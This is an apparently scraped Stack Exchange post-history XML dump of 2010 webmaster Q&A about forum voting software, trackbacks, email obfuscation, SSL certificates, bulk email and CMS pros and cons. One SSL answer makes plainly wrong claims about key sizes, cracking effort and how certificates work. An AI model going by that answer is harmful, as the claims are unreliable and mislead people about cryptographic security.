  <row Id="3661" PostHistoryTypeId="16" PostId="1800" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3662" PostHistoryTypeId="16" PostId="1855" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3663" PostHistoryTypeId="16" PostId="1902" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3664" PostHistoryTypeId="16" PostId="1931" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3665" PostHistoryTypeId="16" PostId="1963" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3666" PostHistoryTypeId="16" PostId="134" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3667" PostHistoryTypeId="10" PostId="134" RevisionGUID="6f2a9cce-bf06-466e-8fcd-215c9c499dda" CreationDate="2010-08-05T17:52:05.967" UserId="55" CloseReasonId="3" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3668" PostHistoryTypeId="11" PostId="134" RevisionGUID="90541386-a43b-458c-9ccf-b4ffd4bb9476" CreationDate="2010-08-05T17:54:54.930" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3669" PostHistoryTypeId="14" PostId="134" RevisionGUID="ce398504-ee56-43ca-9743-e016016b3c83" CreationDate="2010-08-05T17:55:01.110" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3670" PostHistoryTypeId="2" PostId="1964" RevisionGUID="94bd3aa3-f80a-46d4-b117-4ace68fd294b" CreationDate="2010-08-05T18:28:46.997" UserId="615" Text="[Think Vitamin Video Tutorials][1]&#xD;&#xA;&#xD;&#xA;Has some great videos on CSS, all the way from beginner - look in the Fundamentals Videos.&#xD;&#xA;&#xD;&#xA;  [1]: http://membership.thinkvitamin.com/?aid=17" />
  <row Id="3671" PostHistoryTypeId="16" PostId="1964" RevisionGUID="94bd3aa3-f80a-46d4-b117-4ace68fd294b" CreationDate="2010-08-05T18:28:46.997" UserId="-1" />
  <row Id="3672" PostHistoryTypeId="2" PostId="1965" RevisionGUID="3185162e-3d9d-4f45-8153-a052d60fddd7" CreationDate="2010-08-05T18:36:04.003" UserDisplayName="Anweshi" Text="&#xD;&#xA;I run my system on a linux machine. Let's say I use apache or cherokee webserver, for simplicity. I want to run a bulletin board software for discussion purposes. However I do not want traditional systems like vBulletin or vanilla, as systems based on these tend towards too much bickering and clique-formation.&#xD;&#xA;&#xD;&#xA;I was inspired by the system in meta.stackoverflow in which each post can be voted up or down. This would instantly be a medicine for all the jerks, since their posts will get downvoted quickly. Moreover honest criticisms will get upvoted. So I feel this will be a great improvement. However the meta.stackoverflow system is not suitable for a discussion environment. I would want a traditional bulletin board system itself; but with the added capability that votes can be given up/down for each post, and for each post the number of votes is displayed.&#xD;&#xA;&#xD;&#xA;For example let me mention that in some wordpress blogs, comments can be voted up/down. That capability is exactly what I want; it is just that I need it in a bulletin board software rather than in a wordpress blog.&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;&#xD;&#xA;&gt;Does there exist a bulletin board software with voting capability for each post?&#xD;&#xA;&#xD;&#xA;Here I must stress that I do not care about the total reputation of a user. That is something I do not want to encourage.&#xD;&#xA;&#xD;&#xA;I have asked this question both here and at serverfault, since it was not clear where should this be asked. Feel free to close it at the appropriate site and I need answers only from one place." />
  <row Id="3673" PostHistoryTypeId="1" PostId="1965" RevisionGUID="3185162e-3d9d-4f45-8153-a052d60fddd7" CreationDate="2010-08-05T18:36:04.003" UserDisplayName="Anweshi" Text="Bulletin board software with voting capability for each post" />
  <row Id="3674" PostHistoryTypeId="3" PostId="1965" RevisionGUID="3185162e-3d9d-4f45-8153-a052d60fddd7" CreationDate="2010-08-05T18:36:04.003" UserDisplayName="Anweshi" Text="&lt;website-features&gt;" />
  <row Id="3675" PostHistoryTypeId="2" PostId="1966" RevisionGUID="4330b8f8-82bb-4903-a2f1-7f22b01faf8f" CreationDate="2010-08-05T18:36:15.313" UserId="615" Text="With regards to CSS3 - have alook at http://css3please.com/ to see what you can do.&#xD;&#xA;&#xD;&#xA;The later your browser, the more likely you will be able to see the effects." />
  <row Id="3676" PostHistoryTypeId="2" PostId="1967" RevisionGUID="ff5453ab-fa6c-4345-90b8-fbf5800bb110" CreationDate="2010-08-05T18:45:47.243" UserId="1331" Text="I use Fiddler (http://www.fiddler2.com) to inspect HTTP traffic, both to inspect real document sizes, but also to diagnose other network issues." />
  <row Id="3677" PostHistoryTypeId="2" PostId="1968" RevisionGUID="fd11819c-3520-466b-af2d-a7ba43c90ac4" CreationDate="2010-08-05T18:50:49.700" UserId="1331" Text="My blog (running on dasBlog) supports pingbacks and trackbacks. What exactly are they, and do they provide any benefit to my blog (e.g. SEO, etc.)?" />
  <row Id="3678" PostHistoryTypeId="1" PostId="1968" RevisionGUID="fd11819c-3520-466b-af2d-a7ba43c90ac4" CreationDate="2010-08-05T18:50:49.700" UserId="1331" Text="What do Trackbacks and Pingbacks do?" />
  <row Id="3679" PostHistoryTypeId="3" PostId="1968" RevisionGUID="fd11819c-3520-466b-af2d-a7ba43c90ac4" CreationDate="2010-08-05T18:50:49.700" UserId="1331" Text="&lt;blog&gt;" />
  <row Id="3680" PostHistoryTypeId="2" PostId="1969" RevisionGUID="f78a734d-bad5-4649-868e-8370bf18e22e" CreationDate="2010-08-05T18:58:12.913" UserId="1253" Text="A [trackback][1] and [pingback][2] don't serve any significant purpose other then to let the blog which has published the content receiving the trackback know that another blog has mentioned it in their blog. Blog authors who publish trackbacks do so to indicate to their readers the importance of the article.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Trackback&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Pingback" />
  <row Id="3681" PostHistoryTypeId="5" PostId="1969" RevisionGUID="f0affb79-e271-4f6e-bbfd-3ccd15aea22f" CreationDate="2010-08-05T19:10:14.437" UserId="1253" Comment="added 11 characters in body" Text="A [trackback][1] and [pingback][2] don't serve any significant purpose other then to let the blog which has published the content receiving the trackback know that another blog has mentioned it in their blog. Blog authors who publish trackbacks do so to indicate to their readers the importance/popularity of the article.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Trackback&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Pingback" />
  <row Id="3682" PostHistoryTypeId="2" PostId="1970" RevisionGUID="e3ddbaf1-35d4-401b-952b-1f7410c4f058" CreationDate="2010-08-05T19:15:14.440" UserId="745" Text="Quoting [Wordpress' definitions][1]:&#xD;&#xA;&#xD;&#xA;&gt; In a nutshell, TrackBack was designed&#xD;&#xA;&gt; to provide a method of notification&#xD;&#xA;&gt; between websites: it is a method of&#xD;&#xA;&gt; person A saying to person B, &quot;This is&#xD;&#xA;&gt; something you may be interested in.&quot;&#xD;&#xA;&gt; To do that, person A sends a TrackBack&#xD;&#xA;&gt; ping to person B.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pingbacks are similar, but differ in the following ways:&#xD;&#xA;&#xD;&#xA;&gt;  1. Pingbacks and trackbacks use&#xD;&#xA;&gt;     drastically different communication&#xD;&#xA;&gt;     technologies (XML-RPC and HTTP POST,&#xD;&#xA;&gt;     respectively).&#xD;&#xA;&gt;  2. Pingbacks do not send any content.&#xD;&#xA;&#xD;&#xA;As for SEO, there's no direct benefit that I know of. Because both only occur when a link to the page exists, one might argue that it incentivizes linking. Other than that, enabling trackbacks and pingbacks won't help SEO. &#xD;&#xA;&#xD;&#xA;Some drawbacks include trackback spam, where people will try to get links through trackbacks. Also, because the number of links on a page is a factor in how much PageRank passes through each link from a page, enabling trackbacks may dilute the power of the PageRank passed to your other links on the page.&#xD;&#xA;&#xD;&#xA;Trackbacks and pingbacks are also supposed to allow users to follow conversations on the same topic across several different blogs. However, I would argue that they are largely useless for that purpose because they are very unfriendly to the user as they aren't formatted in easily digestible manner. They are often mixed with comments or placed before comments and the links themselves offer nothing to the conversation on the page itself. &#xD;&#xA;&#xD;&#xA;In short, I personally don't feel like either trackbacks or pingbacks offer anything useful to a blog. The drawbacks in SEO, spam, and usability outweigh any potential gain from incentivized linking. As far as being notified about links to your blog, you'll get better information from almost any analytics program.&#xD;&#xA;  [1]: http://codex.wordpress.org/Introduction_to_Blogging#Trackbacks" />
  <row Id="3683" PostHistoryTypeId="2" PostId="1971" RevisionGUID="5c1f7e6c-9842-4046-85d9-3a76526654fe" CreationDate="2010-08-05T19:16:57.573" UserId="1074" Text="I'm a big fan of http://www.aiso.net/  Besides the fact that they are entirely (100%, onsite) solar powered, and that they host major sites like the Discovery network, they also run a great virtualized setup that I think will become the future of hosting.  One of the side benefits of their solution is hourly snapshots and immediate cloning of servers in the event of --reboot-- or restart.  I used snapshots quite a few times and they were worth their weight in gold, with such a simple system for retrieving that I was amazed.&#xD;&#xA;&#xD;&#xA;100% uptime is virtually impossible, but it certainly helps to be the only host on the planet who can say that they've never used power from the (unreliable) grid.  Even if you don't choose their hosting, the site has some interesting information that appeals to the geek in us." />
  <row Id="3684" PostHistoryTypeId="16" PostId="1971" RevisionGUID="5c1f7e6c-9842-4046-85d9-3a76526654fe" CreationDate="2010-08-05T19:16:57.573" UserId="-1" />
  <row Id="3685" PostHistoryTypeId="6" PostId="1968" RevisionGUID="eb071cc6-bf9b-4f6c-b6ee-9ade1ee38b2c" CreationDate="2010-08-05T19:42:30.050" UserId="745" Comment="edited tags" Text="&lt;blog&gt;" />
  <row Id="3686" PostHistoryTypeId="2" PostId="1972" RevisionGUID="e5c98661-f83e-432a-bb43-34cf512cd34f" CreationDate="2010-08-05T23:25:20.600" UserId="1074" Text="Anweshi, give MyBB ([http://www.mybb.com/features/reputation][1]) a try.  It seems to be a pretty close approximation of what you're looking for and has a very nice UI to boot.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mybb.com/features/reputation" />
  <row Id="3688" PostHistoryTypeId="2" PostId="1973" RevisionGUID="fb6ef2c5-48fd-41fa-82d2-2be6edeea9ed" CreationDate="2010-08-06T01:25:49.403" UserId="1160" Text="If you have a bot filter (using 1x1px, subnet, known bots, jscript detection, http referrer and browser agent) you can simply not display the information if its a bot.&#xD;&#xA;&#xD;&#xA;Solution in PHP:&#xD;&#xA;&#xD;&#xA;    &lt;?&#xD;&#xA;    if (!isbot()) {&#xD;&#xA;      echo 'mailto:'.$email_address_for_real_people;&#xD;&#xA;      }&#xD;&#xA;      else {&#xD;&#xA;      echo 'mailto:yourself_bot@'.$bots_domain_address;&#xD;&#xA;      }&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="3693" PostHistoryTypeId="2" PostId="1975" RevisionGUID="920886e6-48d6-480a-8410-d05e50ebfe6e" CreationDate="2010-08-06T02:34:24.400" UserId="1160" Text="&gt; Having recently gone through this upgrade with one of our sites I now realize that I do not fully understand how SSL works and that I am in need of some clarifications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To put it simply, SSL keys (of any order) are a series of keys on a chain. There is a handshaking method that goes through the PUBLIC-PRIVATE process (the chain) of multiplying very large prime numbers (keys). &#xD;&#xA;&#xD;&#xA;&gt; Question 1: How does a 1024 bit root differ from a 2048 bit root?&#xD;&#xA;&#xD;&#xA;Firstly, the key is twice as large. In terms of computational &quot;cracking&quot; this causes and exponential more amount of time. The last I heard, (so I could be wrong) massive-multisharing, such as Seti@home was able to crack a 256 bit key in under 6 months. However, a key twice this size takes 4 times as long, minimum. It is a **Bachmann–Landau notation** problem. Naturally a 1024 bit key takes 16 times, and 2048 takes 32 times. &#xD;&#xA;&#xD;&#xA;Because a brute-force to a 512b key was considered to take 1.2 trillion processing years at XYZ MhZ speed at one time, it was lunacy to think we would need to upgrade the key size ever. &#xD;&#xA;&#xD;&#xA;But alas, we have.&#xD;&#xA;&#xD;&#xA;Now with &quot;P versus NP&quot; as a millennium prize, more people are looking at filtering down the guesswork in factoring big big big primes.&#xD;&#xA;&#xD;&#xA;&gt; Question 2: How do Intermediate&#xD;&#xA;&gt; Certificates work and what&#xD;&#xA;&gt; benefits/detriments do they have?&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; How is it that installing the&#xD;&#xA;&gt; intermediate certificate on the server&#xD;&#xA;&gt; causes older browsers to accept the&#xD;&#xA;&gt; certificate as being valid?&#xD;&#xA;&#xD;&#xA;It is possible different browsers have different **Extend Verification** routines or providers. (possibly none!)&#xD;&#xA;&#xD;&#xA;It is also possible different webservers have different **Extend Verification** routines or providers. (possibly none? not as likely!)&#xD;&#xA;&#xD;&#xA;An example of a codebase that actually performs the SSL, is [OpenSSL][1] for PHP. &#xD;&#xA;&#xD;&#xA;There are many types of libraries such as this for different servers and different code-bases. The servers, library builds, or even the keys themselves may have issues with legacy code. &#xD;&#xA;&#xD;&#xA;Because the security of the internet goes through upgrades and changes in process-flow from time to time, I would say it is safe to say that the newer 2048-bit keys have more keys and/or more chains. In a very real aspect, this can cause abnormal behavior on what is considered a depreciated routine.  &#xD;&#xA;&#xD;&#xA;Hence the reason why the intermediate certificate fixes the issue, *it patches the incompatibility with an optional backwards-compatible certificate*. &#xD;&#xA; &#xD;&#xA;  [1]: http://php.net/manual/en/book.openssl.php&#xD;&#xA;" />
  <row Id="3694" PostHistoryTypeId="5" PostId="1937" RevisionGUID="40713073-9c16-446d-a131-394f69728be0" CreationDate="2010-08-06T07:49:13.693" UserId="480" Comment="Added nasty quick wins" Text="As long as you're using a non-blocking SMTP server (in case it hits a bad DNS/SMTP server) then it is a matter of how many different domains are the emails destined for and what is the bandwidth (roughly speaking because the exceptions to the rule appear at the extremes). I would suspect the latter (bandwidth) due to you seeing similar results with an external server.&#xD;&#xA;&#xD;&#xA;Any packaging/encryption on modern hardware takes a fraction of the time needed to send an email to a slow server. If you host your own DNS servers then make sure these return fast results as the receiving SMTP server will probably want to double check your records (slowing things down further). Having two mail servers (with enough bandwidth) is normally way faster (due to the blocking on a slow receiving server) than spending the same amount of money on a better spec'ed single server.&#xD;&#xA;&#xD;&#xA;**Nasty hacks for quick wins**&#xD;&#xA;&#xD;&#xA; 1. Sort the email addresses by domain name. If you create a new database table hanging of the table where you store the email address, it can contain the foreign key, the user part and the domain part. A run to do the split on existing data and some changes in the the CRUD to update the records will achieve this. By sorting on domain name you'll allow the sending server to re-use its connection to the remote mail server (be careful your not SPAM blocked).&#xD;&#xA;&#xD;&#xA; 2. Where the code is hard to change and you want to alternate the mail servers you can just alter the function so it accepts a reference (prefix it with an &amp;amp; in PHP) then you can use a $_GLOBAL variable that is changed every x seconds by a scheduler that calls a hidden PHP page.&#xD;&#xA;&#xD;&#xA; 3. Use a local DNS cache and query the necessary MX records *before* the run (or at least kick off a script to run in parallel). Most caches will hold records for 24 hours (normally written as 3600 seconds). It can reduce the initial connection latency by around 100ms. If you have multiple SMTP servers and the receiver has multiple MX records you can spoof the results. So your first sending server sees:&#xD;&#xA;&#xD;&#xA;  * MX Record 1 Priority 10&#xD;&#xA;  * MX Record 2 Priority 20&#xD;&#xA;  * MX Record 3 Priority 30&#xD;&#xA;  * MX Record 4 Priority 40&#xD;&#xA;  &#xD;&#xA;    and your second sending server sees&#xD;&#xA;&#xD;&#xA;  * MX Record 1 Priority 40&#xD;&#xA;  * MX Record 2 Priority 10&#xD;&#xA;  * MX Record 3 Priority 20&#xD;&#xA;  * MX Record 4 Priority 30&#xD;&#xA;&#xD;&#xA;   etc. This way you can increase parallel behaviour, but it erodes any gains from point 1.&#xD;&#xA;&#xD;&#xA;If you can run a packet trace to identify the bottlenecks, it will help find the necessary quick wins." />
  <row Id="3695" PostHistoryTypeId="2" PostId="1976" RevisionGUID="bce17177-4e49-40f2-9f6b-47e60b98837f" CreationDate="2010-08-06T09:20:51.720" UserId="1204" Text="All the obfuscation techniques in the world can't help in the long run if you get a lot of people contacting you. All it takes is for someone to drop you a message, later get infected by some malware that scans their inbox / sent mail / address book /whatever for valid addresses &lt;SUP&gt;&lt;SUB&gt;[I even have contacts who are stupid enough to put there email address and password into online forms for the most stupid of reasons, you probably have too, the most recent one was a site that offered to compute your &quot;email astrology chart and predictions&quot; and immediately spammed all the fool's contacts with an invitation to the same site and &lt;deity&gt; only knows what other lists we are now on as a result]&lt;/SUB&gt;&lt;/SUP&gt;.&#xD;&#xA;&#xD;&#xA;The address on my public web-sites isn't just a throw-away address - it is on a throw-away sub-domain. If I start getting spam on that sub-domain I create a new one, update the sites where my contact details are listed, and a short time later I completely remove the sub-domain from DNS records. If you do this, or any other throw-away address techniques, make sure you make clear (on any page listing the address and in the footer of any mail you send using that address) that the address will change in future and if people can't get through they should check back to make sure they have the correct address.&#xD;&#xA;&#xD;&#xA;This has the advantage of just being a simple address for people to click (if their browser+mailer are linked that way) or copy+paste without needing to use their brains to edit the address afterwards (I'm always surprised by how many otherwise intelligent and observant people can't get that sort of thing right). It also means my mail server doesn't spend its days bouncing messages sent to &quot;random&quot; addresses (aaron@, adam@, amy01@, ...) at the expired sub-domains.&#xD;&#xA;&#xD;&#xA;I used to use &quot;contact me/us&quot; forms instead but I found that they get spammed as much as, sometimes more than, plain-text email addresses - sometimes by scripts that are trying to use the form to create an account somewhere rather than use it as a contact form." />
  <row Id="3696" PostHistoryTypeId="5" PostId="1946" RevisionGUID="ff68b67e-ef1b-477d-abaf-635977d066a8" CreationDate="2010-08-06T09:23:19.567" UserId="1306" Comment="added 194 characters in body" Text="If I have a site with numerous subcategories would it be better to have one domain with each subcategory linking off it, or a domain for each subcategory?&#xD;&#xA;&#xD;&#xA;For example, if it's a sports news site, it might be something like:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    sportsnews.com/football-news&#xD;&#xA;    sportsnews.com/cricket-news&#xD;&#xA;    sportsnews.com/tennis-news&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The idea would be that there's an overall common layout to the sites, but the content and theming is different. &#xD;&#xA;&#xD;&#xA;The alternative approach would be something along the lines of:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    footballnews.com&#xD;&#xA;    cricketnews.com&#xD;&#xA;    tennisnews.com&#xD;&#xA;&#xD;&#xA;From an SEO point of view, is it best to have the one site with the rest linking off it so all the links to it are driving up the page rank collectively, or would it be best to have separate domains so that the domain, meta, title and description of each individual site all match up to the expected search keyword of `(sport name) news`?&#xD;&#xA;&#xD;&#xA;If the latter approach were chosen, would linking to the individual domains from the primary one then be detrimental to the overall network of sites?&#xD;&#xA;&#xD;&#xA;Edit: Please note that sports is just an example. You can assume that although the subcategories are related 95% of users will not be interested in any others than the one they searched for." />
  <row Id="3697" PostHistoryTypeId="5" PostId="1976" RevisionGUID="c5ae5476-2997-4ed9-9344-350cb0214178" CreationDate="2010-08-06T09:29:10.610" UserId="1204" Comment="added 248 characters in body; added 78 characters in body; added 74 characters in body" Text="All the obfuscation techniques in the world can't help in the long run if you get a lot of people contacting you. All it takes is for someone to drop you a message and later get infected by some malware that scans their inbox / sent mail / address book /whatever for valid addresses, andyour address it out there being passed from list to list &lt;SUP&gt;&lt;SUB&gt;[I even have contacts who are stupid enough to put there email address and password into online forms for the most idiotic of reasons, you probably have too, the most recent one was a site that offered to compute someone's &quot;email astrology chart and predictions&quot; which immediately spammed all the fool's contacts with an invitation to the same site and &amp;lt;deity&amp;gt; only knows what other lists we are now on as a result]&lt;/SUB&gt;&lt;/SUP&gt;.&#xD;&#xA;&#xD;&#xA;The address on my public web-sites isn't just a throw-away address - it is on a throw-away sub-domain. If I start getting spam on that sub-domain I create a new one, update the sites where my contact details are listed, and a short time later I completely remove the sub-domain from DNS records. If you do this, or any other throw-away address techniques, make sure you make clear (on any page listing the address and in the footer of any mail you send using that address) that the address will change in future and if people can't get through they should check back to make sure they have the correct address.&#xD;&#xA;&#xD;&#xA;This has the advantage of just being a simple address for people to click (if their browser+mailer are linked that way) or copy+paste without needing to use their brains to edit the address afterwards (I'm always surprised by how many otherwise intelligent and observant people can't get that sort of thing right). It also means my mail server doesn't spend its days bouncing messages sent to &quot;random&quot; addresses (aaron@, adam@, amy01@, ...) at the expired sub-domains. It also doesn't confuse screen-readers used by the blind or poorly sited.&#xD;&#xA;&#xD;&#xA;Another option that I've not tried yet is to use an AJAX request to read in the email address and other details. This may be slightly more effective than `document.write` based obfuscation, though will add a little extra load on the web server.&#xD;&#xA;&#xD;&#xA;I used to use &quot;contact me/us&quot; forms instead but I found that they get spammed as much as, sometimes more than, plain-text email addresses - sometimes by scripts that are trying to use the form to create an account somewhere rather than use it as a contact form." />
  <row Id="3698" PostHistoryTypeId="2" PostId="1977" RevisionGUID="aa2c5197-0b4f-403a-8504-1706ceb8a092" CreationDate="2010-08-06T11:33:19.373" UserId="1345" Text="As a general rule, it is a good idea to stay tuned with the W3C standards.  In that sense, the [DDR Simple API][1] (*Device Description Repository Simple API*) is the way to go. It describes an abstract API to access Device Description Repositories (DDRs).&#xD;&#xA;&#xD;&#xA;You can find an open-source reference implementation of that API in Java as part of [MyMobileWeb][2] project.  It allows you to access WURFL, DeviceAtlas (not 100% sure), [W3C DDR Core Vocabulary][5] (and maybe [UAProf][6]). That way you can access device properties with a unified API, that is also offered as a REST service (see [DDR REST service documentation][4]).&#xD;&#xA;&#xD;&#xA;You can [download][3] the latest 1.2 version.  I know they are working in a new version and probably a Rails implementation.&#xD;&#xA;&#xD;&#xA;What that means, in practice, that you can develop your application using WURFL and later switch to another repository, keeping your code ideally untouched.&#xD;&#xA;&#xD;&#xA;I have to say I've previously worked on that project, I think it's worth a look, despite W3C standards are usually hard to read.  Maybe there are other alternative implementacions of the DDR Simple API out there.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/DDR-Simple-API/&#xD;&#xA;  [2]: http://mymobileweb.morfeo-project.org&#xD;&#xA;  [3]: http://forge.morfeo-project.org/wiki_en/index.php/MyMobileWeb_Platform#DevInfo_Simple_API_.26_REST_Service&#xD;&#xA;  [4]: http://forge.morfeo-project.org/wiki_en/index.php/DDR_REST_Service_1.2&#xD;&#xA;  [5]: http://www.w3.org/TR/2008/NOTE-ddr-core-vocabulary-20080414/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/UAProf" />
  <row Id="3699" PostHistoryTypeId="5" PostId="1977" RevisionGUID="552027c1-0297-45f7-908f-922d35a50a3e" CreationDate="2010-08-06T11:40:45.913" UserId="1345" Comment="added 455 characters in body" Text="OMG, are you really keeping your own database up to date?  I'm so sorry about you...&#xD;&#xA;&#xD;&#xA;**First tip**: If you only need a very simple and minimal solution to detect brand and model, go with WURFL if you want it for free or DeviceAtlas if you can afford it.&#xD;&#xA;&#xD;&#xA;**Second tip**: As a general rule, it is a good idea to stay tuned with the W3C standards.  In that sense, the [DDR Simple API][1] (*Device Description Repository Simple API*) is the way to go. It describes an abstract API to access Device Description Repositories (DDRs).&#xD;&#xA;&#xD;&#xA;You can find an open-source reference implementation of that API in Java as part of [MyMobileWeb][2] project.  It allows you to access WURFL, DeviceAtlas (not 100% sure), [W3C DDR Core Vocabulary][5] (and maybe [UAProf][6]). That way you can access device properties with a unified API, that is also offered as a REST service (see [DDR REST service documentation][4]).&#xD;&#xA;&#xD;&#xA;You can [download][3] the latest 1.2 version.  I know they are working in a new version that could probably be released by october and a Rails implementation.&#xD;&#xA;&#xD;&#xA;What that means, in practice, that you can develop your application using WURFL and later switch to another repository, keeping your code ideally untouched.  It is harder to install and use for the first time, but if you are building a big enterprise system, you'll save a lot of time in the future.&#xD;&#xA;&#xD;&#xA;I have to say I've previously worked on that project, I think it's worth a look, despite W3C standards are usually hard to read.  Maybe there are other alternative implementacions of the DDR Simple API out there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/DDR-Simple-API/&#xD;&#xA;  [2]: http://mymobileweb.morfeo-project.org&#xD;&#xA;  [3]: http://forge.morfeo-project.org/wiki_en/index.php/MyMobileWeb_Platform#DevInfo_Simple_API_.26_REST_Service&#xD;&#xA;  [4]: http://forge.morfeo-project.org/wiki_en/index.php/DDR_REST_Service_1.2&#xD;&#xA;  [5]: http://www.w3.org/TR/2008/NOTE-ddr-core-vocabulary-20080414/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/UAProf" />
  <row Id="3700" PostHistoryTypeId="5" PostId="1977" RevisionGUID="e321c12e-7f1f-445d-8331-6e4488d5c3ae" CreationDate="2010-08-06T11:49:20.487" UserId="1345" Comment="added 231 characters in body; added 12 characters in body" Text="OMG, are you really keeping your own database up to date?  I'm so sorry about you...&#xD;&#xA;&#xD;&#xA;**First tip**: If you only need a very simple and minimal solution to detect brand and model, go with WURFL if you want it for free or DeviceAtlas if you can afford it.  The second one works probably better (just my personal opinion).&#xD;&#xA;&#xD;&#xA;Also, take a look at this comparision [DeviceAtlas vs WURFL][1]&#xD;&#xA;&#xD;&#xA;**Second tip**: As a general rule, it is a good idea to stay tuned with the W3C standards.  In that sense, the [DDR Simple API][2] (*Device Description Repository Simple API*) is the way to go. It describes an abstract API to access Device Description Repositories (DDRs).&#xD;&#xA;&#xD;&#xA;You can find an open-source reference implementation of that API in Java as part of [MyMobileWeb][3] project.  It allows you to access WURFL, DeviceAtlas (not 100% sure), [W3C DDR Core Vocabulary][4] (and maybe [UAProf][5]). That way you can access device properties with a unified API, that is also offered as a REST service (see [DDR REST service documentation][6]).&#xD;&#xA;&#xD;&#xA;You can [download][7] the latest 1.2 version.  I know they are working in a new version that could probably be released by october and a Rails implementation.&#xD;&#xA;&#xD;&#xA;What that means, in practice, that you can develop your application using WURFL and later switch to another repository, keeping your code ideally untouched.  It is harder to install and use for the first time, but if you are building a big enterprise system, you'll save a lot of time in the future.&#xD;&#xA;&#xD;&#xA;I have to say I've previously worked on that project, I think it's worth a look in any case, despite W3C standards are usually hard to read.  Maybe there are other alternative implementacions of the DDR Simple API out there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mobiforge.com/forum/dotmobi/deviceatlas/deviceatlas-versus-wurfl-fallback-position&#xD;&#xA;  [2]: http://www.w3.org/TR/DDR-Simple-API/&#xD;&#xA;  [3]: http://mymobileweb.morfeo-project.org&#xD;&#xA;  [4]: http://www.w3.org/TR/2008/NOTE-ddr-core-vocabulary-20080414/&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/UAProf&#xD;&#xA;  [6]: http://forge.morfeo-project.org/wiki_en/index.php/DDR_REST_Service_1.2&#xD;&#xA;  [7]: http://forge.morfeo-project.org/wiki_en/index.php/MyMobileWeb_Platform#DevInfo_Simple_API_.26_REST_Service" />
  <row Id="3701" PostHistoryTypeId="2" PostId="1978" RevisionGUID="fbded86e-4c80-4ad6-98aa-583ddb9b6829" CreationDate="2010-08-06T13:13:27.407" UserId="113" Text="I've heard a lot about cms's like drupal, joomla, and wordpress. I've always hand-coded most of my PHP and HTML and done fine. What are the pros and cons of using a cms?" />
  <row Id="3702" PostHistoryTypeId="1" PostId="1978" RevisionGUID="fbded86e-4c80-4ad6-98aa-583ddb9b6829" CreationDate="2010-08-06T13:13:27.407" UserId="113" Text="Why should I use a Content Management System?" />
  <row Id="3703" PostHistoryTypeId="3" PostId="1978" RevisionGUID="fbded86e-4c80-4ad6-98aa-583ddb9b6829" CreationDate="2010-08-06T13:13:27.407" UserId="113" Text="&lt;wordpress&gt;&lt;cms&gt;&lt;drupal&gt;" />
  <row Id="3704" PostHistoryTypeId="2" PostId="1979" RevisionGUID="fc341b67-4665-4968-8fa3-1ee7d2163234" CreationDate="2010-08-06T13:17:18.993" UserId="1253" Text="From [here][1]:&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA; 1. The CMS enables your organization to concentrate on creation of content rather than development and design. No new “web pages” are created via code when new content is added. The CMS publishes the content into the framework (design) of your website.&#xD;&#xA; 2. Non-technical members of your organization can manage, edit, and publish content to your website. No HTML experience or graphics experience is necessary. Usually, your most inexperienced web users can be trained on the CMS without much difficulty.&#xD;&#xA; 3. All of your content is stored in a central location. The content is in a database, making it uniform and accesible in many powerful ways depending on the CMS.&#xD;&#xA; 4. Content is searchable. Because it’s in a database, the content can be easily searched.&#xD;&#xA; 5. Content can be scheduled to be published at a future date.&#xD;&#xA; 6. Extended features such as a calendar, message boards/forums, and photo galleries are usually included in a Content Management System. These features can be managed from within the CMS, reducing the need to invest in and manage multiple systems.&#xD;&#xA; 7. Multiple contributors/content authors can work on the same website without difficulty. You can establish website editors and authors with varying permissions. Have all content wait to be published until it’s approved by an editor, for example.&#xD;&#xA; 8. Spell checking and linking tools are included in the CMS.&#xD;&#xA; 9. Options such as content categories can help you organize content so your website visitors can find it easily.&#xD;&#xA; 10. A CMS can be integrated with your email newsletter list, reducing the number of systems you invest in and storing your subscriber lists in one location.&#xD;&#xA; 11. Since design and content are separated in a CMS-based system, changing the look-and-feel of your website is much easier.&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;   1. You have more of an initial investment in your website, both in time and money, usually.&#xD;&#xA;   2. There is training involved in using a CMS, and someone (usually at least one person, but sometimes more) in your organization must become the “webmaster” who owns the CMS, understands it, and carves time in their workload to manage it.&#xD;&#xA;   3. A CMS does not make bad content good. It does not make a bad writer a good writer. In other words, your content 